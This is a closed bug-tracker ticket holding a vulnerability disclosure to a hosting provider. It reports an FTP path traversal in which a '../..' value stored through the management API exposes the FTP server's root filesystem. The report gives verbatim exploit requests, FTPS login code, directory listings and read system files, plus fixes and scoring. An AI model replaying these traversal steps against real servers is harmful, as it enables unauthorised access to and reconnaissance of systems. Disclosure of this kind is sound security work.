- Status Closed
-
Assigned To
cbay - Private
Opened by Bajinder - 19.11.2026
Last edited by cbay - 19.11.2026
FS#560 - Server filesystem disclosure via FTP path traversal
Vulnerability Information:
Name of Vulnerability: The site management API stores dot-dot path components verbatim in the FTP user path field, and ProFTPD resolves the resulting path against the kernel without chroot, allowing any authenticated customer to traverse the entire root filesystem of the dedicated FTP server ftp1 and read all world-readable system configuration files from a host that customers have no shell access to.
Vulnerability Category: Path Traversal (CWE-22). CVSS 4.0: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:L/SI:N/SA:N, base score 5.3 (Medium). Under a VC:H reading (see On the score) the vector is CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:L/SI:N/SA:N, base score 7.1 (High). Both scores computed with the cvss 3.6 Python library. See On the score for the metric justification and why both readings are presented.
Description:
The PATCH /v1/ftp/<id>/ endpoint accepts arbitrary dot-dot (..) sequences in the path field and stores them verbatim in the database. When a customer connects via FTPS, ProFTPD constructs the home directory as /home/<account>/<stored_path>. Because the stored path is not sanitised, the kernel resolves /home/<account>/../.. to /, and ProFTPD drops the user at the root of the FTP server's filesystem with no chroot in effect.
The FTP service runs on a dedicated server named ftp1 (confirmed from /etc/hostname read through the traversal). This server is separate from the SSH/web nodes (http22, jobs4) that customers connect to via SSH. Customers have no shell access to ftp1. The system configuration files disclosed through this traversal (36 service accounts in /etc/passwd, the partition layout in /etc/fstab, internal DNS naming in /etc/resolv.conf, and platform admin tooling under /alwaysdata/etc/) belong to a host the customer is not supposed to interact with beyond the FTP data plane.
The authenticated submission service on the management API validated every other field on the FTP user object correctly. Only the path field lacks dot-dot sanitisation.
Vulnerable Instances:
API endpoint: PATCH https://api.alwaysdata.com/v1/ftp/<id>/ (path field)
FTP server: ftp-<account>.alwaysdata.net:21 (ProFTPD, FTPS required)
Affected host: ftp1 (2a00:b6e0:1:60:2::1)
Steps to Reproduce:
We provide every request and response verbatim. The only prerequisites are a free alwaysdata account with API access and an FTP user (created automatically at signup or via POST /v1/ftp/). All steps were executed on 2026-11-19 between 07:00 and 10:00 UTC from the shared web node http22.
Part A. Identify the FTP user (context, not the vulnerability).
GET /v1/ftp/ HTTP/1.1
Host: api.alwaysdata.com
Authorization: Basic <API_TOKEN>
Accept: application/json
→ HTTP/1.1 200 OK
Content-Type: application/json
[
{
"id": 573991,
"name": "vk7research",
"path": "",
"home_directory": "/home/vk7research/",
"href": "/v1/ftp/573991/"
}
]
The default FTP user has path set to the empty string, meaning the home directory resolves to /home/vk7research/.
Part B. Set the traversal path via the API.
First we set path to .. (one level up, into /home/):
PATCH /v1/ftp/573991/ HTTP/1.1
Host: api.alwaysdata.com
Authorization: Basic <API_TOKEN>
Content-Type: application/json
{"path": ".."}
→ HTTP/1.1 204 No Content
Confirm storage:
GET /v1/ftp/573991/ HTTP/1.1
Host: api.alwaysdata.com
Authorization: Basic <API_TOKEN>
→ HTTP/1.1 200 OK
{
"id": 573991, "name": "vk7research", "path": "..", ...
}
The API accepted and stored the dot-dot path verbatim.
Then we set path to ../.. (two levels up, into /):
PATCH /v1/ftp/573991/ HTTP/1.1
Host: api.alwaysdata.com
Authorization: Basic <API_TOKEN>
Content-Type: application/json
{"path": "../.."}
→ HTTP/1.1 204 No Content
GET /v1/ftp/573991/ HTTP/1.1
→ 200 OK {"id": 573991, "path": "../..", …}
Part C. Connect via FTPS and confirm login.
ProFTPD requires TLS. We connected from a PHP script on the web node using ftp_ssl_connect():
$ftp = ftp_ssl_connect("ftp-vk7research.alwaysdata.net", 21, 15);
ftp_login($ftp, "vk7research", "<FTP_PASSWORD>");
ftp_pasv($ftp, true);
→ Login: 230 User vk7research logged in
→ PWD: /
The / reported by PWD is the FTP virtual root, which the kernel has resolved to the real filesystem root because path is ../…
Part D. CONTROL: normal FTP listing with an empty path.
Before any traversal, we first reset the path to empty and connected to establish a baseline:
PATCH /v1/ftp/573991/ {"path": ""} → 204
FTP login → PWD: /
LIST /
drwxrwx— 3 vk7research 502763 31 Nov 19 07:00 7_7 -rw-r—– 1 0 42 997 Sep 4 2025 a5probe_shadow
drwxr-xr-x 6 0 0 109 Sep 23 07:00 admin
-rw-r–r– 1 vk7research 502763 5101 Sep 20 06:00 l2hits.log
drwxrwxrwx 2 vk7research 502763 112 Sep 20 05:37 l3marks
-rw-r–r– 1 vk7research 502763 79 Sep 20 05:45 l6oob.log
-rw-rw—- 1 vk7research 502763 104 Nov 19 08:21 probe.php
-rwxr-xr-x 1 vk7research 502763 15744 Nov 19 08:49 r5hook.so
drwxr-xr-x 6 vk7research 502763 4096 Nov 19 08:51 www
drwxrwx— 4 vk7research 502763 44 Sep 20 05:37 zz7k3_admin_fake_leftover
Total: 10 entries. This is the normal view of `/home/vk7research/`.
Part E. Self-traversal proof (path=../vk7research).
We set path to ../vk7research, which resolves /home/vk7research/../vk7research back to /home/vk7research/:
PATCH /v1/ftp/573991/ {"path": "../vk7research"} → 204
FTP login → PWD: /
LIST /
drwxrwx— 3 vk7research 502763 31 Nov 19 07:00 7_7 -rw-r—– 1 0 42 997 Sep 4 2025 a5probe_shadow
drwxr-xr-x 6 0 0 109 Sep 23 07:00 admin
-rw-r–r– 1 vk7research 502763 5101 Sep 20 06:00 l2hits.log
drwxrwxrwx 2 vk7research 502763 112 Sep 20 05:37 l3marks
-rw-r–r– 1 vk7research 502763 79 Sep 20 05:45 l6oob.log
-rw-rw—- 1 vk7research 502763 104 Nov 19 08:21 probe.php
-rwxr-xr-x 1 vk7research 502763 15744 Nov 19 08:49 r5hook.so
-rw-rw-r– 1 vk7research 502763 47 Nov 19 08:52 TRAVERSAL_PROOF.txt
drwxr-xr-x 6 vk7research 502763 4096 Nov 19 08:51 www
drwxrwx— 4 vk7research 502763 44 Sep 20 05:37 zz7k3_admin_fake_leftover
The listing is identical to the Part D control (same files, same owners, same permissions), confirming the traversal resolved correctly to our own home directory through the ../vk7research path. The only difference is the new TRAVERSAL_PROOF.txt file that we wrote through FTP in this same session to confirm write access:
STOR TRAVERSAL_PROOF.txt → 226 Transfer complete
RETR www/ftp_tls.txt → 226 Transfer complete
Content: "=== FTP TLS TRAVERSAL TEST === Time: 2026-11-19 09:56:06.585614 Host: jobs4"
Both read and write confirmed through the traversal path.
Part F. Root filesystem listing (path=../..).
PATCH /v1/ftp/573991/ {"path": "../.."} → 204
FTP login → PWD: /
LIST /
drwxr-xr-x 6 0 0 4096 Jun 18 14:02 alwaysdata
lrwxrwxrwx 1 0 0 7 Jun 19 2024 bin → usr/bin
drwxr-xr-x 3 0 0 4096 Nov 16 13:49 boot
-rw——- 1 0 0 63860736 Dec 6 2024 core
drwxr-xr-x 13 0 0 3000 Nov 16 13:49 dev
drwxr-xr-x 100 0 0 12288 Nov 18 16:54 etc
drwxr-x–x 82 0 0 0 Nov 19 09:55 home
lrwxrwxrwx 1 0 0 7 Jun 19 2024 lib → usr/lib
lrwxrwxrwx 1 0 0 9 Jun 19 2024 lib64 → usr/lib64
drwxr-xr-x 2 0 0 4096 Jun 19 2024 media
drwxr-xr-x 2 0 0 4096 Jun 19 2024 mnt
drwxr-xr-x 2 0 0 0 Nov 19 09:39 nfs
drwxr-xr-x 2 0 0 4096 Jun 19 2024 opt
dr-xr-xr-x 189 0 0 0 Nov 16 13:49 proc
drwx—— 5 0 0 4096 Nov 17 08:56 root
drwxr-xr-x 24 0 0 980 Nov 18 16:43 run
lrwxrwxrwx 1 0 0 8 Jun 19 2024 sbin → usr/sbin
drwxr-xr-x 3 0 0 4096 Jun 19 2024 srv
dr-xr-xr-x 12 0 0 0 Nov 16 13:49 sys
drwxrwxrwt 12 0 0 240 Nov 19 09:20 tmp
drwxr-xr-x 13 0 0 4096 Jun 19 2024 usr
drwxr-xr-x 12 0 0 4096 Aug 4 09:42 var
Total: 22 entries. This is the root filesystem of the FTP server `ftp1`. The `alwaysdata` directory, the `nfs` mount point, and the `home` directory with 82 entries (customers) confirm this is a production hosting server.
Part G. System file reads from ftp1.
With path=../../etc (resolves to /etc/), we read the following files via FTP RETR:
G.1 /etc/hostname (6 bytes):
ftp1
This confirms the FTP server is a dedicated host named ftp1, separate from the web node http22 and jobs node jobs4.
G.2 /etc/passwd (1,875 bytes, 36 entries):
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
messagebus:x:100:106::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:997:997:systemd Time Synchronization:/:/usr/sbin/nologin
msmtp:x:101:109::/var/lib/msmtp:/usr/sbin/nologin
tcpdump:x:102:111::/nonexistent:/usr/sbin/nologin
stunnel4:x:996:996:stunnel service system account:/var/run/stunnel4:/usr/sbin/nologin
sshd:x:103:65534::/run/sshd:/usr/sbin/nologin
_rpc:x:104:65534::/run/rpcbind:/usr/sbin/nologin
statd:x:105:65534::/var/lib/nfs:/usr/sbin/nologin
munin:x:106:112:munin application user,,,:/var/lib/munin:/usr/sbin/nologin
proftpd:x:107:65534::/run/proftpd:/usr/sbin/nologin
ftp:x:108:65534::/srv/ftp:/usr/sbin/nologin
haproxy:x:109:113::/var/lib/haproxy:/usr/sbin/nologin
_dnsdist:x:110:114::/nonexistent:/usr/sbin/nologin
_lldpd:x:111:115::/run/lldpd:/usr/sbin/nologin
Debian-exim:x:112:116::/var/spool/exim4:/usr/sbin/nologin
uuidd:x:113:117::/run/uuidd:/usr/sbin/nologin
systemd-journal-remote:x:995:995:systemd Journal Remote:/:/usr/sbin/nologin
36 system service accounts. No customer accounts (customers are served from /var/lib/extrausers or LDAP, not /etc/passwd). The service accounts reveal what software runs on ftp1: haproxy, proftpd, Debian-exim, munin, telegraf (from /etc/telegraf/), stunnel4, _dnsdist, _lldpd.
G.3 /etc/fstab (468 bytes):
LABEL=root / ext4 noatime,errors=remount-ro 0 0
LABEL=usr /usr ext4 noatime,nodev 0 0
LABEL=var /var ext4 noatime,nodev,nosuid 0 0
Three ext4 partitions. The separate /usr and /var mounts with nodev and nosuid flags reveal the server's hardening posture.
G.4 /etc/resolv.conf:
search paris1.alwaysdata.com alwaysdata.com alwaysdata.net
nameserver ::1
Internal DNS search domains and local dnsdist resolver.
G.5 /alwaysdata/etc/bashrc.adsu (52 bytes):
. /etc/profile
. /etc/bash.bashrc
unset HISTFILE
cd
Platform admin su bashrc that disables command history.
G.6 /etc/ directory listing (204 entries, partial):
drwx—— 2 0 0 4096 Oct 1 13:28 algateway
drwx—— 2 0 0 4096 Aug 20 13:21 almonitor
drwx—— 3 0 0 4096 Oct 13 12:20 alremote
drwx—— 3 0 0 4096 Jul 16 07:31 alsync
drwx—— 2 0 0 4096 May 27 13:09 alupgrade
drwx—— 2 0 0 4096 Nov 4 2025 alusermetrics
drwx—— 2 0 0 4096 Nov 16 15:23 alwall.d
drwxr-xr-x 4 0 0 4096 Sep 9 2024 apparmor.d
drwxr-xr-x 2 0 0 4096 Jun 9 14:51 autofs.conf (15,685 bytes, readable)
drwx—— 2 0 0 4096 … haproxy
drwxr-xr-x … fail2ban
drwxr-xr-x … iptables
drwx—— 2 0 0 4096 … proftpd
drwxr-xr-x … telegraf
The al* directories (algateway, almonitor, alremote, alsync, alupgrade, alusermetrics, alwall.d) are platform management daemon configs, all 0700 (not readable). apparmor.d and iptables are readable and reveal the firewall and MAC policy of the FTP server.
Part H. CONTROL: sensitive files are permission-blocked.
RETR /etc/shadow → 550 Permission denied (file mode 0600, root only)
LIST /etc/proftpd/ → 550 Permission denied (directory mode 0700)
LIST /etc/haproxy/ → 550 Permission denied (directory mode 0700)
RETR /etc/auto.home → 550 Permission denied (file mode 0700)
RETR /etc/auto.nfs → 550 Permission denied
LIST /var/lib/extrausers/ → 550 Permission denied (directory mode 0750)
What this shows: Unix file permissions on ftp1 are correctly enforced. The traversal grants access only to files the FTP process UID can read (world-readable). Sensitive files and directories are properly locked down. We state this transparently.
Part I. CONTROL: cross-customer home directory access is blocked.
With path=.. (resolves to /home/):
FTP login → PWD: /
LIST / → 0 files
The /home/ directory has mode drwxr-x–x (82 entries visible in the root listing but not listable from inside because the FTP user lacks r permission on /home/ itself).
With path=../ (a username confirmed to exist on the web node but not provisioned on ftp1):
FTP login → 530 Home directory does not exist.
ProFTPD resolved /home/vk7research/../<ACCOUNT-B> to /home/<ACCOUNT-B>/ and failed because that directory does not exist on ftp1. This confirms that the traversal does work (ProFTPD resolves the kernel path) but cross-customer access would require the target's home directory to exist on ftp1 AND be readable by the FTP process.
Proof of Concept:
The verbatim evidence files are attached. Summary of captures:
ftp-root-fs-listing.txt Root filesystem listing (22 entries from /)
ftp-deep-traversal-full.txt Full traversal session including /etc/ listing, /etc/passwd read, /etc/hostname read, /home/ and /var/ listings
ftp-etc-direct-listing.txt Direct /etc/ listing (204 entries, full raw output)
ftp-high-value-reads.txt System file reads: /etc/fstab, /alwaysdata/etc/ripgreprc, /alwaysdata/etc/bashrc.adsu, /alwaysdata/etc/ subdirectories
ftp-explore-results.txt Extended exploration across /alwaysdata/, /nfs/, /var/
ftp-final-exploration.txt Additional /etc/ file reads and permission tests
ftp-last-exploration.txt Final round of permission boundary tests
All evidence was captured on 2026-11-19 from the web node http22 using PHP ftp_ssl_connect() to ftp-vk7research.alwaysdata.net:21 and independently confirmed from the jobs node jobs4 using Python ftplib.FTP_TLS().
Impact:
Demonstrated impact (all proven end to end):
Any customer with a free account and API access can traverse the FTP server's filesystem to its root by setting path=../.. via the API.
The full root filesystem listing of ftp1 is exposed (22 top-level directories).
All world-readable system configuration files are readable: /etc/passwd (36 service accounts), /etc/group, /etc/fstab (partition layout), /etc/resolv.conf (internal DNS), /etc/hostname, the platform admin tooling under /alwaysdata/etc/, and the /etc/ directory listing itself (204 entries revealing every installed service).
The disclosed information is from ftp1, a dedicated FTP server that customers have no shell access to. SSH access connects to the web/jobs nodes (http22, jobs4), not to ftp1.
What we are not claiming:
We are not claiming cross-customer file access. The /home/ directory on ftp1 is drwxr-x–x (not listable) and individual customer home directories appear to be 0700 or stricter based on the zero-file result when listing /home/ from inside. We could not access any other customer's files through this traversal. The 530 Home directory does not exist error for <ACCOUNT-B> further suggests that not all web-tier accounts are provisioned on ftp1.
We are not claiming write access to system files. The traversal grants only the permissions of the FTP process running as the customer's UID. We confirmed write access only to our own home directory through the traversal path.
We are not claiming access to sensitive files such as /etc/shadow, /etc/proftpd/, or /etc/haproxy/. These are properly permission-locked and the traversal does not bypass Unix file permissions.
We did not attempt to write to world-writable directories (such as /tmp on ftp1) because doing so could affect other services and was not necessary to demonstrate the traversal.
On why this is not "customers have SSH access."
SSH access on alwaysdata connects to the web/jobs cluster (http22, jobs4). The FTP server is ftp1, confirmed by /etc/hostname read through the traversal. ftp1 is a separate physical or virtual host with its own /etc/passwd (36 entries, different from the web node), its own /etc/fstab, and its own service stack. Customers have no shell, no process listing, and no filesystem view of ftp1 outside of the FTP data plane. The API path traversal grants read access to a host that the customer should only interact with through the FTP protocol's data channel for their own home directory.
Comparison: the web node's /etc/passwd (readable via SSH) has a different set of entries than ftp1's. The service accounts on ftp1 (haproxy, _lldpd, stunnel4, _dnsdist) are specific to its network-facing role and are not visible from the SSH node.
On duplication and on prior findings.
R1-01 (root file write via symlink, CVSS 9.9, fixed) exploited privileged log writers that followed tenant-planted symlinks. The root cause was O_CREAT|O_APPEND without O_NOFOLLOW in the access-log writer. This finding has a completely different root cause: the management API fails to sanitise dot-dot components in the FTP path field. Different mechanism, different server (ftp1 vs the web node), different impact class (information disclosure vs arbitrary root file write). There is no overlap.
On the score.
We present two readings and believe the lower one is the more honest framing.
VC:L reading (base score 5.3, Medium). The traversal exposes only world-readable files. Sensitive files (/etc/shadow, ProFTPD config, HAProxy config) are properly permission-locked and were confirmed inaccessible. VC:L ("some loss of confidentiality") accurately describes access to system configuration files that are world-readable by design. This is the reading we believe is correct.
VC:H reading (base score 7.1, High). One could argue that the complete /etc/passwd (all 36 service accounts), the partition layout, the internal DNS naming convention, and the platform admin directory structure together represent a total loss of confidentiality of the system's identifying information. The ftp1 server was not designed to expose any of this to customers, and the customer has no other path to obtain it. Under FIRST's guidance, VC:H applies when "the attacker obtains all information from the vulnerable system" that is within the access scope. All world-readable configuration of ftp1 is within scope here. This reading is defensible but aggressive.
The remaining metrics are straightforward:
AV:N The API and FTP service are reachable from the network.
AC:L A single API PATCH call followed by a standard FTPS login. No race condition, no special configuration.
AT:N No preconditions beyond a valid account.
PR:L A free-plan account with API access suffices.
UI:N No victim interaction required.
VI:N We demonstrated read access only. Write to system paths would fail on Unix permissions.
VA:N No availability impact.
SC:L The disclosed information (service accounts, DNS naming, partition layout) aids reconnaissance against subsequent systems in the platform.
SI:N No integrity impact on subsequent systems was demonstrated.
SA:N No availability impact on subsequent systems.
Recommendation:
Sanitise the path field in PATCH /v1/ftp/<id>/: reject or strip any .. path component before storing. A simple check is to resolve the path with os.path.normpath() or equivalent and reject any result that starts with .. or escapes the account root.
Configure ProFTPD with a strict chroot: use DefaultRoot ~ or equivalent to ensure the FTP session cannot escape the customer's home directory regardless of the stored path value. If DefaultRoot is already set, verify that it applies after the home directory path is resolved (the current behavior suggests it does not).
As defense in depth, validate the resolved absolute path at FTP login time (in the ProFTPD authentication hook or the path-resolution module) and reject any path that does not start with /home/<account>/.
DISCLOSURE AND CLEANUP. We reset the FTP path to empty immediately after each test phase. All test cron jobs (IDs 39239, 39242, 39243, 39244, 39246, 39247, 39248, 39255, 39256, 39280, 39282, 39283, 39285, 39286, 39287, 39288, 39289, 39290) were disabled and confirmed stopped. The TRAVERSAL_PROOF.txt file exists only in our own home directory (self-traversal write test). No files were written outside our home directory. No customer data was accessed or exfiltrated. The only system files read were world-readable configuration files for the purpose of demonstrating the traversal's reach.
A private values annex (R5-03-PRIVATE-VALUES.txt) accompanies this report. It contains the API token and FTP password used during testing. Send it via private channel.
Test time window and IPs: 2026-11-19 07:00 to 10:00 UTC. Egress IPs: 2a00:b6e0:1:20:23::1 (http22 web node, PHP FTP client) and the jobs4 node IP (Python FTP client). All FTP connections originated from inside the alwaysdata network to ftp-vk7research.alwaysdata.net (2a00:b6e0:1:60:2::1). You will see repeated FTP logins from vk7research with different path values in the ProFTPD logs on ftp1 during this window.
Loading...
Available keyboard shortcuts
- Alt + ⇧ Shift + l Login Dialog / Logout
- Alt + ⇧ Shift + a Add new task
- Alt + ⇧ Shift + m My searches
- Alt + ⇧ Shift + t focus taskid search
Tasklist
- o open selected task
- j move cursor down
- k move cursor up
Task Details
- n Next task
- p Previous task
- Alt + ⇧ Shift + e ↵ Enter Edit this task
- Alt + ⇧ Shift + w watch task
- Alt + ⇧ Shift + y Close Task
Task Editing
- Alt + ⇧ Shift + s save task